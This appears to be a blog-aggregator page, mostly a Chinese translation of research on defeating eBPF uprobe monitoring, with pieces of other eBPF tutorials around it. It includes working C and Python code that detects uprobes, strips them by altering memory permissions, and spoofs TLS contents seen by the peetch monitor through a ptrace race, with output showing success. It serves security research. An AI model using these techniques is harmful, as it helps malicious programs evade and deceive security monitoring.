packet_count: 22:11:11 main.go:132: Map contents: 192.168.5.2:58597 => :22 | 52 packet_count: 22:11:11 main.go:132: Map contents: 192.168.5.2:58597 => :22 | 53 从 IP 地址 192.168.5.2 到达端口 22 的数据包是 SSH 数据包，因为我在虚拟机内运行此程序并且通过 SSH 连接。让我们在另一个终端的虚拟机内运行 curl ，看看会发生什么： $ curl https://www.google.com/ 同时在第一个终端中： packet_count: 22:14:07 main.go:132: Map contents: 172.217.22.36:443 => :38324 | 12 192.168.5.2:58597 => :22 | 551 packet_count: 22:14:08 main.go:132: Map contents: 172.217.22.36:443 => :38324 | 12 192.168.5.2:58597 => :22 | 552 packet_count: 22:14:08 main.go:132: Map contents: 172.217.22.36:443 => :38324 | 30 192.168.5.2:58597 => :22 | 570 1packet_count: 22:14:09 main.go:132: Map contents: 172.217.22.36:443 => :38324 | 30 192.168.5.2:58597 => :22 | 571 我们看到从 IP 地址 172.217.22.36 到达端口 38324 的数据包是来自 curl 命令的数据包。结论 eBPF 在很多方面都很强大，我认为这是一项值得投入时间的好技术，特别是在系统编程、可观察性或安全性方面。在本文中，我们了解了 eBPF 是什么、它是如何工作的以及如何开始在 Go 中使用它。我希望您喜欢这篇文章并学到一些新东西。如果您有任何疑问，请随时oznszk。

2024-08-06 0 0

击败 eBPF Uprobe 监控

击败 eBPF Uprobe 监控

这篇文章介绍了一种可以用于监控用户空间程序的 eBPF 程序。它首先向您介绍了 eBPF 和 uprobes，然后探讨了我们在 uprobes 中发现的缺陷，所有演示示例都适用于 Linux 和 x86_64 架构。原文地址：Defeating eBPF Uprobe Monitoring 简介监控系统发生的事情非常重要。eBPF 可以通过将特定程序钩入各种系统范围的事件来帮助您在 Linux 服务器上执行此操作。您可以通过将内核或用户空间函数钩入来收集大量信息。例如，您可以读取两个进程之间加密通信的内容，或者查找使用特定库函数的进程。理解 eBPF 的一个好方法是记住这个图表：要创建自己的 eBPF 程序，请选择一个 eBPF 库，它将生成 eBPF 字节码，然后调用 bpf 系统调用将其加载到内核中。在内核端，如果您的程序是安全的，它将经过验证并加载。您还必须记住，有不同类型的 eBPF 程序（适应触发事件），每种程序都可以访问不同的 eBPF 辅助程序和上下文。目前使用 eBPF 进行监控的工具通常涉及 kprobes（内核探针）。例如，这种类型的程序允许您记录每次进程使用系统调用的情况。然而，并非所有有趣的信息都可以通过这种方式捕获。这就是为什么正在对 uprobes（用户空间探针）进行新研究以进行用户空间监控的原因。 Uprobes：基础知识定义 Uprobes 是允许钩入任何用户空间程序任意指令的内核功能。当触发这些钩子时，将创建一个事件，并向处理程序（例如，一个 eBPF 程序）提供被探测程序的上下文。然后，您可以记录 CPU 寄存器的值或执行一个 eBPF 程序。例如，由 Quarkslab 开发的 peetch 工具集使用 eBPF 和 uprobes 钩子在 OpenSSL 的 SSL_read() 和 SSL_write() 函数上，以记录系统范围的 TLS 消息并以纯文本形式访问数据。如何创建您可以通过向 /sys 伪文件系统添加一行到 /sys/kernel/debug/tracing/uprobe_events 文件来创建一个 uprobes。语法如下： p[:[GRP/]EVENT] PATH:OFFSET [FETCHARGS] : Set a uprobe r[:[GRP/]EVENT] PATH:OFFSET [FETCHARGS] : Set a return uprobe (uretprobe) -:[GRP/]EVENT : Clear uprobe or uretprobe event 更多细节，请参阅内核文档。示例学习最好的方式是实践。让我们创建一个 uprobes，以打印系统中发出的每个命令。首先，我们需要找一个地方来钩入。我们选择了 bash 二进制中的 readline()。这是一个不错的选择，因为我们的命令在函数结束时返回。现在，让我们找到 /bin/bash 中 readline 的偏移量。可以使用 gdb 快速实现： gdb /bin/bash (gdb) p readline $1 = {<text variable, no debug info>} 0xd5690 <readline> 如上 gdb 所示，我们的偏移量是 0xd5690。内核文档解释了我们可以在 uretprobe 中打印返回值。Uretprobes 实际上只是放置在函数末尾的 uprobes。我们的命令必须以 r: 开头，表示 "uretprobe"，接着是我们的探针 bashReadline 的名称，二进制文件的路径 /bin/bash，偏移量 0xd5690，以及返回值打印为字符串的形式：cmd=+0($retval):string。 # First log-in as root. # This line creates a uretprobe named bashReadline at offset 0xd5690 of /bin/bash program that prints the return value as a string. echo 'r:bashReadline /bin/bash:0xd5690 cmd=+0($retval):string' >> /sys/kernel/tracing/uprobe_events # When the uprobe is added, activate it with this command: echo 1 > /sys/kernel/tracing/events/uprobes/bashReadline/enable cat /sys/kernel/tracing/trace_pipe bash-24834 [010] ..... 26372.295012: bashReadline: (0x5630d6af8015 <- 0x5630d6b98690) cmd="cat trace_pipe " <...>-14869 [014] ..... 26393.048772: bashReadline: (0x55f2c8640015 <- 0x55f2c86e0690) cmd="ls" bash-14869 [014] ..... 26399.267734: bashReadline: (0x55f2c8640015 <- 0x55f2c86e0690) cmd="whoami" <...>-24909 [010] ..... 26428.810573: bashReadline: (0x5638c7785015 <- 0x5638c7825690) cmd="cat /etc/passwd" 警告如果在向 uprobe_events 文件写入时收到设备或资源忙的错误，请将 /sys/kernel/tracing/events/uprobes/enabled 设置为 0，然后重试。如果收到无效参数错误，请阅读 /sys/kernel/tracing/error_log 文件以获取详细信息。您的内核必须启用 CONFIG_UPROBES（如果您的 Linux 内核版本为 3.5 或更高版本，则默认启用）。使用 eBPF 升级如果您想要做的不仅仅是打印，并且要给您的 uprobes 添加一些逻辑，您可以使用 eBPF 程序。为简化起见，我们将使用做了繁重工作的 bcc Python 包。您只需使用构造函数创建一个 bpf 对象，并使用 attach_uretprobe() 方法将其挂接到 uretprobe 上。最后，我们编写一个简短的 eBPF 程序，读取命令和当前用户 ID，并在用户为 root 时打印它。 #!/usr/bin/python3 from bcc import BPF from time import sleep # load BPF program bpf_text=""" #include <linux/sched.h> int printForRoot(struct pt_regs *ctx){ char command[16] = {}; //use a bpf helper to get the user id. uid_t uid = bpf_get_current_uid_gid() & 0xffffffff; //another bpf helper to read a string in userland bpf_probe_read_user_str(&command, sizeof(command), (void *)PT_REGS_RC(ctx)); if(uid == 0){ bpf_trace_printk("Command from root: %s",command); } return 0; } """ b = BPF(text=bpf_text) b.attach_uretprobe(name="/bin/bash", sym="readline", fn_name="printForRoot") while(1): sleep(1) cat /sys/kernel/tracing/trace_pipe bash-9442 [000] d...1 2634.932058: bpf_trace_printk: Command from root: whoami bash-9442 [000] d...1 3575.645538: bpf_trace_printk: Command from root: cd /root/ bash-9442 [000] d...1 3584.413448: bpf_trace_printk: Command from root: sl 现在您已经了解了如何使用 uprobes，下一节将向您展示内核的工作原理。 uprobes 在幕后是如何工作的 Uprobe 创建内核将 uprobes 实现为仅由内核使用的特殊断点。Uprobes 由程序文件 inode、指令偏移量、相关操作列表和替换指令代码组成。创建探测点时，它会被添加到特定的二叉树中。在设置 uprobes 时，内核会调用 probes_write() 和 trace_uprobe_create()，它们又调用 __trace_uprobe_create()。最后一个函数以 uprobe_events 中的行作为参数，并调用 kern_path() 获取与我们路径相对应的文件的 inode。随后，register_trace_uprobe()、_add_event_to_tracers() 和其他函数创建了伪目录 /sys/kernel/tracing/events/uprobes/<EVENT>/，以及一些文件（enable、id 等）。 probes_write(){ trace_uprobe_create(){ /* * Argument syntax: * - Add uprobe: p|r[:[GRP/]EVENT] PATH:OFFSET[%return][(REF)] [FETCHARGS] */ __trace_uprobe_create(int argc, const char **argv); } } Uprobe 激活当我们启用 uprobes 时，会发生以下嵌套调用：trace_uprobe_register() => probe_event_enable() => trace_uprobe_enable() => uprobe_register()。这最后一个函数调用了另外两个有趣的函数： alloc_uprobe()，它创建了一个带有 inode、偏移量和替换指令的 struct uprobe 并调用 insert_uprobe() 将这个 uprobe 添加到 uprobe rb_tree 中。 register_for_each_vma()，它循环遍历所有现有的虚拟内存区域，找到与某些 uprobe inode 相对应的内存区域（并验证 valid_vma()）。对于这些 vma，它调用 install_breakpoint() 将完整的被探测指令复制到 arch.insn 中（一个取决于当前架构的结构），然后将其替换为断点。 trace_uprobe_register(){ probe_event_enable(){ trace_uprobe_enable(){ uprobe_register(){ alloc_uprobe(){ struct uprobe{ inode; offset; insn; } insert_uprobe(); } register_for_each_vma(){ if(valid_vma){ install_breakpoint(); } } } } } } 新程序实例的检测当执行一个 ELF 程序时，它的内存使用 mmap 系统调用进行映射。在内核中，函数 mmap_region/vma_merge => __vma_adjust() 被调用以管理这种映射。__vma_adjust() 是一个在虚拟内存区域被添加/修改时使用的辅助函数。当文件支持的虚拟内存区域被修改时，它调用 uprobe_mmap()。我们程序的代码部分与其程序文件相连，所以 uprobe_mmap() 被用于包含我们 uprobe 的虚拟内存区域。如果 valid_vma() 正常，它会使用 build_probe_list() 找到与 uprobe rb_tree 中相同 inode 的所有 uprobes，并为每个 uprobe 调用 install_breakpoint()。 SYS_mmap(){ mmap_region/vma_merge(){ __vma_adjust(){ uprobe_mmap(){ if(valid_vma){ build_probe_list(){ for each uprobe: install_breakpoint(); } } } } } } 记住，在 mmap 调用期间会将 uprobes 添加到新的程序实例中！ Uprobe 事件当达到断点时，会触发 int3 异常。do_int3() 调用 notify_die(DIE_INT3, …)，然后调用 atomic_notifier_call_chain(&die_chain, …)。链 die_chain 包含了之前通过 register_die_notifier() 注册的所有通知者。atomic_notifier_call_chain 调用 notifier_call_chain()，通过其 notifier_call 属性通知链中注册的通知者有关事件的信息。对于我们的 uprobes，它是在 uprobe_init() 中设置的 arch_uprobe_exception_notify()。它调用 uprobe_pre_sstep_notifier()，该函数设置了 TIF_UPROBE 标志。在返回到用户空间时，线程注意到了 TIF_UPROBE 标志，并调用 uprobe_notify_resume(struct pt_regs * regs)，该函数调用 handle_swbp(regs)。此函数执行两个主要操作： handler_chain(find_active_uprobe())，执行此 uprobes 的处理程序。例如，由 eBPF 程序使用的 perf_event。 pre_ssout()，准备对被探测指令进行单步执行。这个指令不能在程序内存中执行，因为原始指令已被 uprobes 断点指令替换。内核开发人员首先尝试暂时删除断点，但存在一些问题，因此选择在一个新的内存区域中执行这个指令（也称为 xol）。因此，它首先调用 xol_get_insn_slot 获取 xol 虚拟地址，此函数使用 get_xol_area()，如果尚未创建 uprobes 特殊虚拟内存区域，则会创建该区域，并使用 xol_add_vma() => install_special_mapping()。这个 vma 是原始指令将要在 xol 中执行的地方。继续执行 pre_ssout()，它使用 arch_uprobe_pre_xol() 调用 regs_set_return_ip(regs, current->utask->xol_vaddr) 和 user_enable_single_step()。此时 current->utask->xol_vaddr 指向之前创建的分配的 XOL slot。因此，此函数将程序计数器设置为原始指令的副本所在的位置，并激活单步模式。然后，执行这个指令，并再次停止程序。当单步执行结束时，arch_uprobe_post_xol 从 uprobe_notify_resume 中调用。此函数准备在单步执行后恢复执行，并调用 post_xol 处理程序。默认情况下，它是 default_post_xol_op（也可以看看 branch_post_xol_op）。新的 RIP 寄存器是相对于复制的指令的，因此它使其相对于原始指令（有一些例外，比如返回、调用、绝对或间接跳转等）。如果指令使用了 RIP，则将其替换为另一个寄存器。恢复这个寄存器的值，最后恢复程序的执行。 [...] uprobe_init(){ register_die_notifier(arch_uprobe_exception_notify); } [...]//breakpoint is reached do_int3(){ notify_die(DIE_INT3, ...){ atomic_notifier_call_chain(&die_chain, ...){ notifier_call_chain(){ for each: notifier_call = arch_uprobe_exception_notify(){ uprobe_pre_sstep_notifier(){ //set TIF_UPROBE flag } } } } } } [...] exit_to_user_mode_prepare() { exit_to_user_mode_loop() { uprobe_notify_resume(struct pt_regs * regs){ handle_swbp(regs){ handler_chain(find_active_uprobe()); pre_ssout(){ xol_get_insn_slot(){ get_xol_area(){ __create_xol_area(){ xol_add_vma(){ install_special_mapping(); } } } } arch_uprobe_pre_xol(){ regs_set_return_ip(regs, current->utask->xol_vaddr); } user_enable_single_step(); } } } } } [...]//single_step uprobe_notify_resume(struct pt_regs * regs){ arch_uprobe_post_xol(){ post_xol = default_post_xol_op(); } } 总结一下，当触发断点时，会执行处理程序，然后执行替换为断点的原始指令，它在一个特殊的虚拟内存区域中执行与 uprobes 一起玩耍我们已经知道 uprobes/eBPF 组合是一种获取系统所有进程数据的非常高效的方式。例如，在 Quarkslab，我们创建了 peetch，它记录了所有明文的 TLS 连接（在加密过程之前）。但是，从安全的角度来看，这些数据能够被信任吗？还是只是提供了信息而已？在这一节中，我们假设编写了一个将被 uprobes 监控/检测的程序。让我们看看我们可以用这些 uprobes 做些什么。检测 uprobes Uprobes 基于断点，因此我们可以使用常见的反调试技巧来检测它们。受监视程序快速且不太正规的方法是读取其 .text 内存，然后搜索断点操作码。下面的 C 代码片段通过读取 tracedFunction 的第一个字节，并检查是否对应于断点操作码（0xcc）来实现此功能。 unsigned char * functionBytes = (unsigned char *) &tracedFunction; if (functionBytes[0] == 0xcc){ printf("Detected uprobe breakpoint in beginning of tracedFunction.\n"); } 问题在于，你可能必须检查每条指令，并将其与二进制文件中的实际指令进行比较，以避免误报。另一种方法是在触发 uprobe 后检测它。利用我们对内核内部工作原理的了解，我们知道创建了一个特殊的内存映射，称为 [uprobes]，用于执行原始指令。因此，我们的被监视程序可以读取 /proc/self/maps，并搜索此类映射。 bool detect_uprobes(){ FILE * memfile = fopen("/proc/self/maps", "r"); char line[200]; while(fgets(line, 200, memfile) != NULL){ char * uprobes_str = strstr(line,"[uprobes]");//search for "[uprobes]" in line if(uprobes_str != NULL){ return true; } } return false; } uprobes 监控逃逸根据 Uprobe 激活和检测新程序实例段落的内容，我们知道在添加断点之前始终会调用 valid_vma() 函数。让我们来看看这个函数的代码： static bool valid_vma(struct vm_area_struct *vma, bool is_register){ vm_flags_t flags = VM_HUGETLB | VM_MAYEXEC | VM_MAYSHARE; if (is_register) flags |= VM_WRITE; return vma->vm_file && (vma->vm_flags & flags) == VM_MAYEXEC; } 在 uprobe 注册期间，is_register 被启用。我们的代码是由程序文件支持的，所以 vma->vm_file 为 true，而且我们的代码具有执行标志，因此 VM_MAY_EXEC 也为 true。这个函数的有趣之处在于，如果我们的代码具有 VM_WRITE 标志，虚拟内存区域就不被视为有效的 vma，因此断点永远不会添加到我们的代码部分（.text）。一个简单的方法是编辑包含 .text 部分的 ELF 段的权限，而 Quarkslab 提供了一个很好用的工具：lief。 import lief prog = "./bin/prog" binary = lief.parse(prog) binary.segment_from_offset(binary.get_section(".text").offset).flags = lief.ELF.SEGMENT_FLAGS(7) binary.write(prog) 这些技术结合一下： char isRoot(int uid){ if(detect_uprobes()){ printf("Previous uprobe usage detected.\n"); }else{ printf("No uprobe has been activated.\n"); } return uid == 0; } int main(int argc, char * argv[]){ if(argc == 2 && argv[1][0] == '1'){ unsigned char * funcBytes = (unsigned char *) &isRoot; if (funcBytes[0] == 0xcc) { int pagesize = sysconf(_SC_PAGE_SIZE); char * debut_page = ((char *) &isRoot) - ((long)&isRoot % pagesize);//find page aligned address mprotect(debut_page, pagesize, PROT_WRITE | PROT_READ | PROT_EXEC); printf("Detected uprobe breakpoint at the beginning of tracedFunction.\n"); funcBytes[0] = 0xf3; } }else if(argc != 2 || argv[1][0] != '0'){ printf("Usage:\n\t%s 0 : to disable anti-uprobe\n\t%s 1 : to enable anti-uprobe\n", argv[0], argv[0]); exit(1); } //PoC function isRoot(getuid()); return 0; } 这个程序有两种模式：没有任何检测（即常规执行）在 isRoot 上检测断点（以及修补）。无论哪种情况，它都使用第二种检测技术来查找是否有任何 uprobes 被激活。让我们试一试： # We begin without uprobe user@pc:~/ebpf-for-security/uprobe$ ./bin/prog Usage: ./bin/prog 0 : to disable anti-uprobe ./bin/prog 1 : to enable anti-uprobe user@pc:~/ebpf-for-security/uprobe$ ./bin/prog 0 No uprobe has been activated. Print from testFunction user@pc:~/ebpf-for-security/uprobe$ gdb ./bin/prog -q # We find isRoot function offset Reading symbols from ./bin/prog... (gdb) p isRoot $1 = {void ()} 0x1320 <isRoot> ----------------- # Now we activate the uprobe root@pc:~# echo 'p:isRootFunction /home/cglenaz/Documents/eBPF/gitlab/ebpf-for-security/uprobe/bin/prog:0x1320 uid=%di:u32' > /sys/kernel/tracing/uprobe_events ------------------------------------------------------- user@pc:~/ebpf-for-security/uprobe$ ./bin/prog 0 Previous uprobe usage detected. # our uprobe is detected! ------------------------------------------------------- # Let's read the uprobe output: cat /sys/kernel/tracing/trace_pipe prog-19936 [013] ..... 19399.726502: isRootFunction: (0x55ff8a5b8320) uid=1000 # The uprobe has intercepted the uid ------------------------------------------------------- user@pc:~/ebpf-for-security/uprobe$ ./bin/prog 1 # we test the first detection and mitigation strategy Detected uprobe breakpoint in beginning of testFunction. No uprobe has been activated. # it works ------------------------------------------------------- # Let's see if something is printed: cat /sys/kernel/tracing/trace_pipe # nothing is printed in trace_pipe because the uprobe is not activated ------------------------------------------------------- user@pc:~/ebpf-for-security/uprobe$ python3 permission.py # now we patch the binary with lief user@pc:~/ebpf-for-security/uprobe$ ./bin/prog 0 No uprobe has been activated. # no more uprobe on this program ------------------------------------------------------- cat /sys/kernel/tracing/trace_pipe # nothing again in trace_pipe ------------------------------------------------------- 这个技巧在我们程序的 isRoot 函数上效果很好，但对于共享库不起作用。而且，你必须是 root 用户才能编辑特权 ELF 库，比如 libc，所以你必须在它们加载到程序内存之前修改权限（或者你也可以编写一个自定义的 ELF 加载器，为每个库添加写权限）。你的程序可以再次读取 /proc/self/maps 来找到所有来自库的可执行 vma。示例: 55cc466af000-55cc466b1000 r--p 00000000 fd:01 22282389 /usr/bin/cat 55cc466b1000-55cc466b5000 r-xp 00002000 fd:01 22282389 /usr/bin/cat 55cc466b5000-55cc466b7000 r--p 00006000 fd:01 22282389 /usr/bin/cat 55cc466b7000-55cc466b8000 r--p 00007000 fd:01 22282389 /usr/bin/cat 55cc466b8000-55cc466b9000 rw-p 00008000 fd:01 22282389 /usr/bin/cat 55cc4807f000-55cc480a0000 rw-p 00000000 00:00 0 [heap] 7f32c7ce9000-7f32c7d0b000 rw-p 00000000 00:00 0 7f32c7d0b000-7f32c8af2000 r--p 00000000 fd:01 22287657 /usr/lib/locale/locale-archive 7f32c8af2000-7f32c8af5000 rw-p 00000000 00:00 0 7f32c8af5000-7f32c8b1d000 r--p 00000000 fd:01 22288450 /usr/lib/x86_64-linux-gnu/libc.so.6 7f32c8b1d000-7f32c8cb2000 r-xp 00028000 fd:01 22288450 /usr/lib/x86_64-linux-gnu/libc.so.6 7f32c8cb2000-7f32c8d0a000 r--p 001bd000 fd:01 22288450 /usr/lib/x86_64-linux-gnu/libc.so.6 7f32c8d0a000-7f32c8d0e000 r--p 00214000 fd:01 22288450 /usr/lib/x86_64-linux-gnu/libc.so.6 7f32c8d0e000-7f32c8d10000 rw-p 00218000 fd:01 22288450 /usr/lib/x86_64-linux-gnu/libc.so.6 7f32c8d10000-7f32c8d1d000 rw-p 00000000 00:00 0 7f32c8d30000-7f32c8d32000 rw-p 00000000 00:00 0 7f32c8d32000-7f32c8d34000 r--p 00000000 fd:01 22288113 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 7f32c8d34000-7f32c8d5e000 r-xp 00002000 fd:01 22288113 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 7f32c8d5e000-7f32c8d69000 r--p 0002c000 fd:01 22288113 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 7f32c8d6a000-7f32c8d6c000 r--p 00037000 fd:01 22288113 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 7f32c8d6c000-7f32c8d6e000 rw-p 00039000 fd:01 22288113 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 7ffd18ebb000-7ffd18edc000 rw-p 00000000 00:00 0 [stack] 7ffd18ee6000-7ffd18eea000 r--p 00000000 00:00 0 [vvar] 7ffd18eea000-7ffd18eec000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0 [vsyscall] 感兴趣的虚拟内存区域： 7f32c8b1d000-7f32c8cb2000 r-xp 00028000 fd:01 22288450 /usr/lib/x86_64-linux-gnu/libc.so.6 7f32c8d34000-7f32c8d5e000 r-xp 00002000 fd:01 22288113 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 每个 vma，你必须使用 munmap 系统调用取消映射该 vma 以删除 uprobes，并使用 mmap 系统调用重新映射具有写权限的完全相同的 vma。只有一个注意事项：当 libc 被取消映射时，你无法使用 libc 中的 mmap 函数。这就是为什么你必须直接在你的程序中硬编码系统调用的汇编指令。 extern long int syscall (long int __sysno, ...){ asm("mov %rdi,%rax"); asm("mov %rsi,%rdi"); asm("mov %rdx,%rsi"); asm("mov %rcx,%rdx"); asm("mov %r8,%r10"); asm("mov %r9,%r8"); asm("mov 0x10(%rbp),%r9"); asm("syscall"); } void remove_lib_uprobes(){ FILE * memfile = fopen("/proc/self/maps", "r"); char line[200]; while(fgets(line, 200, memfile) != NULL){ char * lib_str = strstr(line,".so");//find all libraries char * r_xp = strstr(line,"r-xp");// only their code sections if(lib_str != NULL && r_xp != NULL){ //read the start and end address. And the file offset. char * dash = strchr(line, '-'); dash[0] = '\0'; char * space = strchr(dash + 1, ' '); space[0] = '\0'; char * space2 = strchr(space + 1, ' '); space2[0] = '\0'; char * space3 = strchr(space2 + 1, ' '); space3[0] = '\0'; unsigned long addr1 = strtol(line, NULL, 16); unsigned long addr2 = strtol(dash + 1, NULL, 16); unsigned long offset = strtol(space2 + 1, NULL, 16); unsigned long delta = addr2-addr1; //now read the library file name // Locate the last occurrence of space in line (the one before the lib name) char * name_lib = strrchr(space3 + 1, ' ') + 1; name_lib[strlen(name_lib)-1] = 0; //replace the \n by '\0' long int fd = open(name_lib, O_RDONLY); syscall(SYS_munmap,(void *) addr1, delta); syscall(SYS_mmap,(void *) addr1, delta, (unsigned long) PROT_EXEC | PROT_READ | PROT_WRITE, (unsigned long) MAP_PRIVATE, (unsigned long) fd, (void *) offset); } } } 提供虚假信息现在我们能够检测和禁用 uprobes，我们可以尝试向一个挂接在 uprobes 上的 eBPF 程序发送虚假的上下文信息。让我们试图伪造 sudo peetch tls --content 命令的输出。我们的程序将发送一个 GET 请求到 “evil” 文件，但 peetch 将监视对 “test” 文件的请求。这怎么可能？我们将利用在 uprobes 断点触发和消息实际加密之间的竞争条件。第一种策略是创建另一个线程，希望它在正确的时刻更改文件名；但这种方法只有 50% 的成功率，我们可以做得更好。事实上，我们可以控制我们程序的执行，所以我们可以将我们的程序分叉为两个进程：一个子进程，在此调用 SSL_write 时使用假文件名并在此调用之前放置一个断点。一个父进程，使用 PTRACE_SEIZE 附加到子进程，并使用 PTRACE_SINGLESTEP 逐条执行 CHILD 的指令。从断点开始，我们必须逐步执行设置寄存器中的 ptrace 参数和准备跳转到库的指令。在我们的情况下，在断点和 ptrace 的第二条指令之间恰好有 9 条指令。当子进程到达 SSL_write 的第二条指令时，uprobes 已经执行，所以我们现在可以将 SSL_write 的消息缓冲区更改为真实的文件名。我们使用 PTRACE_GETREGS 复制寄存器，修改 rsi 值（rsi 用于第二个参数），然后调用 PTRACE_SETREGS。最后，我们可以使用 PTRACE_CONT 恢复子进程的执行。请注意，这第二种方法比第一种方法需要更高的特权级别，因为它使用了 ptrace 系统调用。 void SSL_write_race_condition(SSL* ssl, char * realName, char * fakeName){ char format[] = "GET /%s HTTP/1.0\r\n\r\n"; int fakeMsgLen = strlen(format) + strlen(fakeName); char realMsg[fakeMsgLen]; char fakeMsg[fakeMsgLen]; sprintf(fakeMsg, format, fakeName); sprintf(realMsg, format, realName); printf("\nMessage before the uprobe: %s\n", fakeMsg); pid_t pid_fils = fork(); if(pid_fils != 0){ ptrace(PTRACE_SEIZE, pid_fils, NULL, NULL); printf("Attached\n"); wait(NULL); struct user_regs_struct luser; for(int i=0; i<9; i++){//9 instructions between int3 and the first instruction of SSL_write ptrace(PTRACE_SINGLESTEP, pid_fils, NULL, NULL);//step one instruction wait(NULL);//wait for the step to be done } ptrace(PTRACE_GETREGS, pid_fils, NULL, &luser); luser.rsi = (long long unsigned int) realMsg;//change the SSL_write second argument to our real message printf("Set rsi to realMsg...\n"); ptrace(PTRACE_SETREGS, pid_fils, NULL, &luser) == -1); ptrace(PTRACE_CONT, pid_fils, NULL, NULL);//continue the SSL_write printf("Continue execution of SSL_write\n"); exit(1); }else{ ptrace(PTRACE_TRACEME, 0, 0, 0);//wait for the parent to trace this child __asm__("int3");//the breakpoint to stop the child just before SSL_write SSL_write(ssl, fakeMsg, fakeMsgLen); // encrypt and send message } } 我们需要创建一个测试的HTTPS server： from http.server import HTTPServer, BaseHTTPRequestHandler import ssl from io import BytesIO class SimpleHTTPRequestHandler(BaseHTTPRequestHandler): def do_GET(self): if self.path == "/test": self.send_response(200) self.send_header('Content-Type', 'text/html') self.send_header('Content-Length', str(len(b'<html>Hello, world!</html>\r\n\r\n'))) self.end_headers() self.wfile.write(b"<html>Hello, world!</html>\r\n\r\n") elif self.path == "/evil": self.send_response(200) self.send_header('Content-Type', 'text/html') self.send_header('Content-Length', str(len(b'<html>Hello, evil man!</html>\r\n\r\n'))) self.end_headers() self.wfile.write(b'<html>Hello, evil man!</html>\r\n\r\n') return True httpd = HTTPServer(('localhost', 4443), SimpleHTTPRequestHandler) #first create key : openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 #(example key pass = pass) httpd.socket = ssl.wrap_socket (httpd.socket, keyfile="./key.pem", certfile='./cert.pem', server_side=True) httpd.serve_forever() 这个 Python 服务器在我们请求 /evil 端点时返回 “Hello, evil man!”，而在 /test 端点返回 “Hello, world!”。然后我们启动 peetch 并发起我们的攻击。让我们看看结果： Message before the uprobe: GET /test HTTP/1.0 Attached rip=0x5613718b8deb Single-step rip=0x5613718b8df1 Single-step rip=0x5613718b8df8 Single-step rip=0x5613718b8dff Single-step rip=0x5613718b8e02 Single-step rip=0x5613718b8e05 Single-step rip=0x5613718b8510 Single-step rip=0x5613718b8514 Single-step rip=0x7f3fe29ba240 Single-step Set rsi to realMsg... Continue execution of SSL_write [+] Server data received : HTTP/1.0 200 OK Server: BaseHTTP/0.6 Python/3.10.4 Date: Wed, 06 Jul 2022 09:25:21 GMT Content-Type: text/html Content-Length: 29 <html>Hello, evil man!</html> 这很有效，文件名在消息发送之前被替换，所以我们收到了“Hello, evil man!”的消息。让我们检查一下 peetch 是否意识到我们的恶意行为： <- client (12918) 127.0.0.1/4443 TLS1.3 None 0000 47 45 54 20 2F 74 65 73 74 20 48 54 54 50 2F 31 GET /test HTTP/1 0010 2E 30 0D 0A 0D 0A 00 00 .0...... -> client (12918) 127.0.0.1/4443 TLS1.3 None 0000 48 54 54 50 2F 31 2E 30 20 32 30 30 20 4F 4B 0D HTTP/1.0 200 OK. 0010 0A 53 65 72 76 65 72 3A 20 42 61 73 65 48 54 54 .Server: BaseHTT 0020 50 2F 30 2E 36 20 50 79 74 68 6F 6E 2F 33 2E 31 P/0.6 Python/3.1 0030 30 2E 34 0D 0A 44 61 74 65 3A 20 57 65 64 2C 20 0.4..Date: Wed, 攻击成功，peetch已经监视了伪造的消息！我们的攻击现在每次发送消息都会生效，而且可以轻松地适应不同的情况。因此，我们可以使用这种攻击方法来向使用先前方法检测到的任何 uprobes 提供虚假信息。从另一个角度来看，这种攻击很容易被检测出来。您可以使用 kprobes 跟踪任何 PTRACE_SETREGS 并观察 rip 寄存器是否在包含您的 uprobes 的函数中。然而，攻击也可以使用线程（精度较低）进行，并且更难以检测。但是，如果攻击者可以使用我们先前的技巧轻松禁用任何 uprobes，那么研究此类攻击的意义又在哪里呢？结论我们发现一个程序可以通过自身代码和库执行任何操作，以欺骗 uprobes，因此基于 uprobes 的 eBPF 程序不是一种可靠的监视_不受信任_程序的方法，但它们是收集信息的强大工具。如果您想要监视程序以检测恶意行为，那么 kprobes 更适合此目的。它们基本上具有 uprobes 的相同功能，但在内核方面实现。竞争条件仍然可能存在问题，因此最好在 LSM（Linux 安全模块）中定义的安全点上挂接 kprobes。

2023-11-27 0 0

eBPF应用程序开发：快人一步

eBPF应用程序开发：快人一步

这篇文章提供了关于eBPF应用程序开发的指南。正如标题所示，文章主要关注eBPF 201的概念，而不是提供另一篇关于eBPF技术是什么的入门级文章。我们提供了简短的介绍，但主要关注需要部署生产eBPF应用程序的开发团队的下一组概念和最佳实践。我们将探讨使BPF应用程序可以在多个内核版本和环境中部署和维护的编程语言和工具链。 eBPF 101: 简短回顾 BPF/eBPF是由轻量级的隔离虚拟机和一组辅助函数组成的操作系统内核技术。在本文中，我们关注Linux内核中的eBPF，尽管它也适用于其他操作系统平台，如Windows和FreeBSD。这项技术使用户能够在内核中运行提供的程序，以扩展内核的功能。验证程序在加载到内核之前会检查BPF程序，以确保它们不会危及内核的可靠性。这些程序会被JIT（Just-In-Time）编译成本机指令，因此它们足够高效，可以在性能要求最高的情况下执行，例如网络数据包处理。总体的好处是以一种安全、更灵活且开发速度更快的方式为操作系统内核提供可编程性和可扩展性，而不是开发内核模块或直接增强主要内核功能本身。下图中的图表显示了Linux内核中的BPF虚拟机、BPF程序可以附加的挂钩点以及BPF程序可用的各种映射和辅助函数。如果你对eBPF还不熟悉，eBPF详尽介绍将为你提供一个很好的基础，然后再阅读本文的其余部分。技术成熟度 BPF已经从早期作为Linux内核的数据包过滤引擎（图2）的时代走来了很长的路。在过去的十年中，eBPF VM已经成为一种通用执行引擎，由Clang工具链支持，具有许多不同用途的程序类型和辅助函数。最近，重点放在了开发者和操作用户体验上，由BTF、CO-RE和libbpf支持。 BPF功能已经在从3.15到最新的6.x版本的许多内核中引入。在任何给定的内核版本中找出可用的功能集可能是困难的。BCC项目维护了一个有用的BPF功能按Linux内核版本排序的列表，它可以帮助你确定在给定的Linux内核中的功能可用性。 eBPF应用程序开发常见问题解答以下是开发人员在学习eBPF应用程序开发时常遇到的一些常见问题。在本文中，我们试图提供这些问题的一些答案，同时注意到这个领域仍在不断发展，一些内容将在未来发生变化。 